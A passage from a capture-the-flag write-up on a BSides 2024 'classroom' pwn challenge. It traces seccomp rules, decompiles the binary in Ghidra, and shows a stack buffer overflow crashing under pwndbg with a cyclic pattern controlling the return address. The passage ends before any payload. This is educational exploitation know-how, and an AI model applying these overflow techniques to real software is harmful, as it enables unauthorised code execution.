</code></pre></div></div>

<p>Hmm, a bit strict for a program, but a couple of prompts, and plently of space to pass input. An interesting part is that we are exiting due to a bad system call. 
This typically occurs when a process is implementing a sandboxing mechanism of sorts. If we run the program again in strace we get:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">strace</span> <span class="p">.</span><span class="o">/</span><span class="n">classroom</span>
<span class="n">execve</span><span class="p">(</span><span class="s">"./classroom"</span><span class="p">,</span> <span class="p">[</span><span class="s">"./classroom"</span><span class="p">],</span> <span class="mh">0x7ffe250f6ef0</span> <span class="cm">/* 32 vars */</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">brk</span><span class="p">(</span><span class="nb">NULL</span><span class="p">)</span>                               <span class="o">=</span> <span class="mh">0x2531000</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>                    <span class="o">=</span> <span class="mi">2</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Have a nice day!!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="mi">18</span><span class="n">Have</span> <span class="n">a</span> <span class="n">nice</span> <span class="n">day</span><span class="o">!!</span>
<span class="p">)</span>     <span class="o">=</span> <span class="mi">18</span>
<span class="n">exit_group</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>                           <span class="o">=</span> <span class="mi">231</span>
<span class="o">+++</span> <span class="n">killed</span> <span class="n">by</span> <span class="n">SIGSYS</span> <span class="o">+++</span>
<span class="n">fish</span><span class="o">:</span> <span class="n">Job</span> <span class="mi">1</span><span class="p">,</span> <span class="err">'</span><span class="n">strace</span> <span class="p">.</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span> <span class="n">terminated</span> <span class="n">by</span> <span class="n">signal</span> <span class="n">SIGSYS</span> <span class="p">(</span><span class="n">Bad</span> <span class="n">system</span> <span class="n">call</span><span class="p">)</span>
<span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="p">[</span><span class="n">SIGSYS</span><span class="p">]</span><span class="err">$</span> 
</code></pre></div></div>

<p>Indeed the very last thing the program executed is a the <a href="https://www.man7.org/linux/man-pages/man2/exit_group.2.html">exit_group()</a> system call.</p>

<p>If we take a closer look at strace we see that the program sets some <a href="https://en.wikipedia.org/wiki/Seccomp">seccomp</a> rules and does implement a sandbox by limiting the interaction it can have with the OS - and most probably the exit_group system call is not allowed.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">prlimit64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">RLIMIT_STACK</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="p">{</span><span class="n">rlim_cur</span><span class="o">=</span><span class="mi">8192</span><span class="o">*</span><span class="mi">1024</span><span class="p">,</span> <span class="n">rlim_max</span><span class="o">=</span><span class="n">RLIM64_INFINITY</span><span class="p">})</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">munmap</span><span class="p">(</span><span class="mh">0x7f588af44000</span><span class="p">,</span> <span class="mi">102291</span><span class="p">)</span>          <span class="o">=</span> <span class="mi">0</span>
<span class="n">alarm</span><span class="p">(</span><span class="mi">127</span><span class="p">)</span>                              <span class="o">=</span> <span class="mi">0</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_STRICT</span><span class="p">,</span> <span class="mh">0x1</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">EINVAL</span> <span class="p">(</span><span class="n">Invalid</span> <span class="n">argument</span><span class="p">)</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="n">SECCOMP_FILTER_FLAG_TSYNC</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">EFAULT</span> <span class="p">(</span><span class="n">Bad</span> <span class="n">address</span><span class="p">)</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="n">SECCOMP_FILTER_FLAG_LOG</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">EFAULT</span> <span class="p">(</span><span class="n">Bad</span> <span class="n">address</span><span class="p">)</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_GET_ACTION_AVAIL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">[</span><span class="n">SECCOMP_RET_LOG</span><span class="p">])</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_GET_ACTION_AVAIL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">[</span><span class="n">SECCOMP_RET_KILL_PROCESS</span><span class="p">])</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="n">SECCOMP_FILTER_FLAG_SPEC_ALLOW</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">EFAULT</span> <span class="p">(</span><span class="n">Bad</span> <span class="n">address</span><span class="p">)</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="n">SECCOMP_FILTER_FLAG_NEW_LISTENER</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">EFAULT</span> <span class="p">(</span><span class="n">Bad</span> <span class="n">address</span><span class="p">)</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_GET_NOTIF_SIZES</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="p">{</span><span class="n">seccomp_notif</span><span class="o">=</span><span class="mi">80</span><span class="p">,</span> <span class="n">seccomp_notif_resp</span><span class="o">=</span><span class="mi">24</span><span class="p">,</span> <span class="n">seccomp_data</span><span class="o">=</span><span class="mi">64</span><span class="p">})</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="n">SECCOMP_FILTER_FLAG_TSYNC_ESRCH</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">)</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span> <span class="n">EFAULT</span> <span class="p">(</span><span class="n">Bad</span> <span class="n">address</span><span class="p">)</span>
<span class="n">getrandom</span><span class="p">(</span><span class="s">"</span><span class="se">\x46\xa8\x58\x67\x54\xa9\xa0\x73</span><span class="s">"</span><span class="p">,</span> <span class="mi">8</span><span class="p">,</span> <span class="n">GRND_NONBLOCK</span><span class="p">)</span> <span class="o">=</span> <span class="mi">8</span>
<span class="n">brk</span><span class="p">(</span><span class="nb">NULL</span><span class="p">)</span>                               <span class="o">=</span> <span class="mh">0x11d0000</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
</code></pre></div></div>

<p>We can use <a href="https://github.com/david942j/seccomp-tools">seccomp-tool</a> to getter a better understanding of the rules applied:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>seccomp-tools dump ./classroom 
 line  CODE  JT   JF      K
<span class="o">=================================</span>
 0000: 0x20 0x00 0x00 0x00000004  A <span class="o">=</span> <span class="nb">arch
 </span>0001: 0x15 0x00 0x09 0xc000003e  <span class="k">if</span> <span class="o">(</span>A <span class="o">!=</span> ARCH_X86_64<span class="o">)</span> goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A <span class="o">=</span> sys_number
 0003: 0x35 0x00 0x01 0x40000000  <span class="k">if</span> <span class="o">(</span>A &lt; 0x40000000<span class="o">)</span> goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  <span class="k">if</span> <span class="o">(</span>A <span class="o">!=</span> 0xffffffff<span class="o">)</span> goto 0011
 0005: 0x15 0x04 0x00 0x00000000  <span class="k">if</span> <span class="o">(</span>A <span class="o">==</span> <span class="nb">read</span><span class="o">)</span> goto 0010
 0006: 0x15 0x03 0x00 0x00000001  <span class="k">if</span> <span class="o">(</span>A <span class="o">==</span> write<span class="o">)</span> goto 0010
 0007: 0x15 0x02 0x00 0x00000002  <span class="k">if</span> <span class="o">(</span>A <span class="o">==</span> open<span class="o">)</span> goto 0010
 0008: 0x15 0x01 0x00 0x0000000f  <span class="k">if</span> <span class="o">(</span>A <span class="o">==</span> rt_sigreturn<span class="o">)</span> goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  <span class="k">if</span> <span class="o">(</span>A <span class="o">!=</span> <span class="nb">exit</span><span class="o">)</span> goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  <span class="k">return </span>ALLOW
 0011: 0x06 0x00 0x00 0x00000000  <span class="k">return </span>KILL
</code></pre></div></div>

<p>The only syscalls we can use are <a href="https://man7.org/linux/man-pages/man2/read.2.html">read()</a>, <a href="https://man7.org/linux/man-pages/man2/open.2.html">open()</a>,  <a href="https://man7.org/linux/man-pages/man2/write.2.html">write()</a>, and <a href="https://man7.org/linux/man-pages/man2/exit.2.html">exit()</a>. It’s limited, but it’s more than what we need.</p>

<h1 id="static-analysis">Static Analysis</h1>

<p>There are many tools we can use for such a task, but let’s make our life easy and use <a href="https://ghidra-sre.org/">ghidra</a>, which offers code decompilation.</p>

<p>The main function of <code class="language-plaintext highlighter-rouge">classroom</code> is as follows:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
  
  <span class="n">setup</span><span class="p">();</span>
  <span class="n">sec</span><span class="p">();</span>
  <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">s_Kids_must_follow_the_rules</span><span class="o">!</span><span class="n">_1</span><span class="p">.</span><span class="n">_N_00400db0</span><span class="p">);</span> 
  <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">s_Kids_must_follow_the_rules</span><span class="o">!</span><span class="n">_1</span><span class="p">.</span><span class="n">_N_00400db0</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
  <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">ans</span><span class="p">,</span><span class="mh">0x60</span><span class="p">);</span>                                             <span class="err">#</span> <span class="n">read</span> <span class="n">our</span> <span class="n">input</span> <span class="n">into</span> <span class="n">a</span> <span class="mh">0x60</span> <span class="n">bytes</span> <span class="n">buffer</span>
  <span class="n">kinder</span><span class="p">();</span>
  <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="s">"Have a nice day!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="s">"Have a nice day!!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Fairly straight forward.</p>
<ul>
  <li>In <code class="language-plaintext highlighter-rouge">setup()</code> the process un-sets stream buffering for FDs 0 and 1, and sets a <code class="language-plaintext highlighter-rouge">SIGALRM</code> for ~2 minutes, you snooze you lose i guess.</li>
  <li>In <code class="language-plaintext highlighter-rouge">sec()</code> the process sets the <code class="language-plaintext highlighter-rouge">seccomp</code> rules described earlier.</li>
  <li>What is interesting is that the input we submit to the <code class="language-plaintext highlighter-rouge">Kids must follow the rules (y/n)</code> question is read into a buffer (labeled <code class="language-plaintext highlighter-rouge">ans</code>) capable of the holding up to 0x60 hex bytes (or 96 in decimal)</li>
</ul>

<p>The next function is <code class="language-plaintext highlighter-rouge">kinder()</code>,</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">kinder</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="kt">size_t</span> <span class="n">sVar1</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">local_88</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">local_80</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">local_78</span><span class="p">;</span>
  <span class="n">undefined8</span> <span class="n">local_70</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">local_5d</span> <span class="p">[</span><span class="mi">5</span><span class="p">];</span>
  <span class="n">undefined</span> <span class="n">local_58</span> <span class="p">[</span><span class="mi">32</span><span class="p">];</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">local_38</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">local_30</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">local_28</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">local_20</span><span class="p">;</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">local_18</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">local_c</span><span class="p">;</span>
  
  <span class="n">local_c</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">local_18</span> <span class="o">=</span> <span class="s">"Have a nice day!</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
  <span class="n">local_20</span> <span class="o">=</span> <span class="s">"Very interesting question! Let me think about it..</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
  <span class="n">local_28</span> <span class="o">=</span> <span class="s">"</span><span class="se">\n</span><span class="s">Alright! Do you have any more questions? (y/n)</span><span class="se">\n</span><span class="s">&gt; "</span><span class="p">;</span>
  <span class="n">local_30</span> <span class="o">=</span> <span class="s">"Feel free to ask!</span><span class="se">\n</span><span class="s">&gt;&gt; "</span><span class="p">;</span>
  <span class="n">local_38</span> <span class="o">=</span> <span class="s">"Enough questions for today class...</span><span class="se">\n</span><span class="s">Well, maybe a last one and then we finish!</span><span class="se">\n</span><span class="s">&gt; "</span> <span class="p">;</span>
  <span class="n">local_88</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">local_80</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">local_78</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="n">local_70</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="n">local_c</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">counter</span> <span class="o">=</span> <span class="n">counter</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">local_28</span><span class="p">);</span>                     <span class="err">#</span> <span class="n">Very</span> <span class="n">interesting</span> <span class="n">question</span><span class="o">!</span> <span class="n">Let</span> <span class="n">me</span> <span class="n">think</span> <span class="n">about</span> <span class="n">it</span><span class="p">..</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">local_28</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
    <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_5d</span><span class="p">,</span><span class="mi">4</span><span class="p">);</span>                           <span class="err">#</span> <span class="n">read</span> <span class="mi">4</span> <span class="n">bytes</span> <span class="n">into</span> <span class="n">local_5d</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">counter</span> <span class="o">==</span> <span class="mi">5</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">local_c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>                                <span class="err">#</span> <span class="n">last</span> <span class="n">time</span> <span class="n">we</span> <span class="n">are</span> <span class="n">in</span> <span class="k">while</span> <span class="n">when</span> <span class="n">local_c</span> <span class="o">=</span> <span class="mi">1</span>
      <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">local_38</span><span class="p">);</span>
      <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">local_38</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
      <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_88</span><span class="p">,</span><span class="mh">0x14c</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">((</span><span class="n">local_5d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'y'</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">local_5d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'Y'</span><span class="p">))</span> <span class="p">{</span>
      <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">local_30</span><span class="p">);</span>
      <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">local_30</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
      <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">local_58</span><span class="p">,</span><span class="mh">0x1f</span><span class="p">);</span>
      <span class="n">sVar1</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">local_20</span><span class="p">);</span>
      <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">local_20</span><span class="p">,</span><span class="n">sVar1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">local_c</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>                               <span class="err">#</span> <span class="k">if</span> <span class="n">we</span> <span class="n">answer</span> <span class="n">anything</span> <span class="n">other</span> <span class="n">that</span> <span class="n">y</span> <span class="n">or</span> <span class="n">Y</span> <span class="n">we</span> <span class="k">return</span> <span class="n">to</span> <span class="n">main</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Again, this is short function with a main loop that interacts with the user.</p>

<p>The main idea is that when the counter is 5, it will read <code class="language-plaintext highlighter-rouge">14c</code> hex bytes (332 in dec) of user input into the address pointed by <code class="language-plaintext highlighter-rouge">&amp;local88</code>. 
The disassembly of the specific line <code class="language-plaintext highlighter-rouge">read(0,&amp;local_88,0x14c);</code> provides a better view:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mo">00400</span><span class="n">a32</span> <span class="mi">48</span>  <span class="mi">8</span><span class="n">d</span>  <span class="mi">45</span>  <span class="mi">80</span>              <span class="n">LEA</span>    <span class="n">RAX</span> <span class="o">=&gt;</span> <span class="n">local_88</span> <span class="p">,[</span><span class="n">RBP</span><span class="o">-</span><span class="mh">0x80</span><span class="p">]</span>
<span class="mo">00400</span><span class="n">a36</span> <span class="n">ba</span>  <span class="mi">4</span><span class="n">c</span>  <span class="mo">01</span>  <span class="mo">00</span>  <span class="mo">00</span>          <span class="n">MOV</span>    <span class="n">EDX</span> <span class="p">,</span><span class="mh">0x14c</span>
<span class="mo">00400</span><span class="n">a3b</span> <span class="mi">48</span>  <span class="mi">89</span>  <span class="n">c6</span>                  <span class="n">MOV</span>    <span class="n">RSI</span> <span class="p">,</span><span class="n">RAX</span>
<span class="mo">00400</span><span class="n">a3e</span> <span class="n">bf</span>  <span class="mo">00</span>  <span class="mo">00</span>  <span class="mo">00</span>  <span class="mo">00</span>          <span class="n">MOV</span>    <span class="n">EDI</span> <span class="p">,</span><span class="mh">0x0</span>
<span class="mo">00400</span><span class="n">a43</span> <span class="n">e8</span>  <span class="n">f8</span>  <span class="n">fc</span>  <span class="n">ff</span>  <span class="n">ff</span>          <span class="n">CALL</span>   <span class="o">&lt;</span><span class="n">EXTERNAL</span><span class="o">&gt;::</span><span class="n">read</span>   <span class="kt">ssize_t</span> <span class="n">read</span><span class="p">(</span><span class="kt">int</span> <span class="n">__fd</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span> <span class="n">__</span>
</code></pre></div></div>

<p>&amp;local88 points <code class="language-plaintext highlighter-rouge">80</code> hex bytes (128 in dec) from the function base address. Given that read() provides no security checks and does not respect function boundaries, we can overwrite the function base address at offset 128 of our input string and keep writing data on the stack for 332-128 bytes more.</p>

<p>Note: it is worth mentioning that ChatGPT correctly identifies the buffer overflow, although it fails to describe it correctly :p</p>

<p><img src="/assets/images/0xvm-classroom-gpt.png" alt="gpt" /></p>

<h1 id="dynamic-analysis">Dynamic Analysis</h1>

<p>Let’s validate our findings so far.</p>

<p>We are creating a string of 360 chars, which should be enough to overflow the buffer, and submit it at as a reply to the 5th question.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>pwn cyclic 360
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad

~/D/W/b/pwn <span class="nv">$ </span>./classroom 
Kids must follow the rules!
1. No cheating!   ❌
2. No swearing!   ❌
3. No 🚩 sharing! ❌

Is everything clear? <span class="o">(</span>y/n<span class="o">)</span>
<span class="o">&gt;</span> y 
...[snip]...
Enough questions <span class="k">for </span>today class...
Well, maybe a last one and <span class="k">then </span>we finish!
<span class="o">&gt;</span> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad
fish: Job 1, <span class="s1">'./classroom'</span> terminated by signal SIGSEGV <span class="o">(</span>Address boundary error<span class="o">)</span>
</code></pre></div></div>

<p>As expected, there’s a segmentation fault. Let’s turn to <a href="https://github.com/pwndbg/pwndbg">pwndbg</a></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">W</span><span class="o">/</span><span class="n">b</span><span class="o">/</span><span class="n">pwn</span> <span class="err">$</span> <span class="n">gdb</span> <span class="p">.</span><span class="o">/</span><span class="n">classroom</span> 
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">r</span>
<span class="p">...[</span><span class="n">snip</span><span class="p">]...</span>
<span class="n">Enough</span> <span class="n">questions</span> <span class="k">for</span> <span class="n">today</span> <span class="n">class</span><span class="p">...</span>
<span class="n">Well</span><span class="p">,</span> <span class="n">maybe</span> <span class="n">a</span> <span class="n">last</span> <span class="n">one</span> <span class="n">and</span> <span class="n">then</span> <span class="n">we</span> <span class="n">finish</span><span class="o">!</span>
<span class="o">&gt;</span> <span class="n">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaad</span>

<span class="n">Program</span> <span class="n">received</span> <span class="n">signal</span> <span class="n">SIGSEGV</span><span class="p">,</span> <span class="n">Segmentation</span> <span class="n">fault</span><span class="p">.</span>
<span class="mh">0x0000000000400aea</span> <span class="n">in</span> <span class="n">kinder</span> <span class="p">()</span>
<span class="n">LEGEND</span><span class="o">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
<span class="err">──────────────────────────────────────</span><span class="p">[</span> <span class="n">REGISTERS</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">flags</span> <span class="n">off</span> <span class="o">/</span> <span class="n">show</span><span class="o">-</span><span class="n">compact</span><span class="o">-</span><span class="n">regs</span> <span class="n">off</span> <span class="p">]</span><span class="err">───────────────────────────────────────</span>
<span class="o">*</span><span class="n">RAX</span>  <span class="mh">0x14c</span>
<span class="o">*</span><span class="n">RBX</span>  <span class="mh">0x7fffffffe1c8</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe480</span> <span class="err">◂—</span> <span class="err">'</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="o">/</span><span class="n">classroom</span><span class="err">'</span>
<span class="o">*</span><span class="n">RCX</span>  <span class="mh">0x7ffff7ea3a1d</span> <span class="p">(</span><span class="n">read</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">cmp</span> <span class="n">rax</span><span class="p">,</span> <span class="o">-</span><span class="mh">0x1000</span> <span class="cm">/* 'H=' */</span>
<span class="o">*</span><span class="n">RDX</span>  <span class="mh">0x14c</span>
 <span class="n">RDI</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RSI</span>  <span class="mh">0x7fffffffe010</span> <span class="err">◂—</span> <span class="mh">0x6161616261616161</span> <span class="p">(</span><span class="err">'</span><span class="n">aaaabaaa</span><span class="err">'</span><span class="p">)</span>
<span class="o">*</span><span class="n">R8</span>   <span class="mh">0xff00</span>
<span class="o">*</span><span class="n">R9</span>   <span class="mi">7</span>
<span class="o">*</span><span class="n">R10</span>  <span class="mi">7</span>
<span class="o">*</span><span class="n">R11</span>  <span class="mh">0x246</span>
 <span class="n">R12</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">R13</span>  <span class="mh">0x7fffffffe1d8</span> <span class="err">—▸</span> <span class="mh">0x7fffffffe4af</span> <span class="err">◂—</span> <span class="err">'</span><span class="n">PWD</span><span class="o">=/</span><span class="n">home</span><span class="o">/</span><span class="n">kidd</span><span class="o">/</span><span class="n">Desktop</span><span class="o">/</span><span class="n">WORK</span><span class="o">/</span><span class="n">bsides24</span><span class="o">/</span><span class="n">pwn</span><span class="err">'</span>
<span class="o">*</span><span class="n">R14</span>  <span class="mh">0x7ffff7ffd000</span> <span class="p">(</span><span class="n">_rtld_global</span><span class="p">)</span> <span class="err">—▸</span> <span class="mh">0x7ffff7ffe2c0</span> <span class="err">◂—</span> <span class="mi">0</span>
 <span class="n">R15</span>  <span class="mi">0</span>
<span class="o">*</span><span class="n">RBP</span>  <span class="mh">0x6261616962616168</span> <span class="p">(</span><span class="err">'</span><span class="n">haabiaab</span><span class="err">'</span><span class="p">)</span>
<span class="o">*</span><span class="n">RSP</span>  <span class="mh">0x7fffffffe098</span> <span class="err">◂—</span> <span class="mh">0x6261616b6261616a</span> <span class="p">(</span><span class="err">'</span><span class="n">jaabkaab</span><span class="err">'</span><span class="p">)</span>
<span class="o">*</span><span class="n">RIP</span>  <span class="mh">0x400aea</span> <span class="p">(</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="p">)</span> <span class="err">◂—</span> <span class="n">ret</span> 
<span class="err">───────────────────────────────────────────────</span><span class="p">[</span> <span class="n">DISASM</span> <span class="o">/</span> <span class="n">x86</span><span class="o">-</span><span class="mi">64</span> <span class="o">/</span> <span class="n">set</span> <span class="n">emulate</span> <span class="n">on</span> <span class="p">]</span><span class="err">────────────────────────────────────────────────</span>
<span class="err">►</span> <span class="mh">0x400aea</span> <span class="o">&lt;</span><span class="n">kinder</span><span class="o">+</span><span class="mi">410</span><span class="o">&gt;</span>    <span class="n">ret</span>                                <span class="o">&lt;</span><span class="mh">0x6261616b6261616a</span><span class="o">&gt;</span>










<span class="err">─────────────────────────────────────────────────────────────</span><span class="p">[</span> <span class="n">STACK</span> <span class="p">]</span><span class="err">─────────────────────────────────────────────────────────────</span>
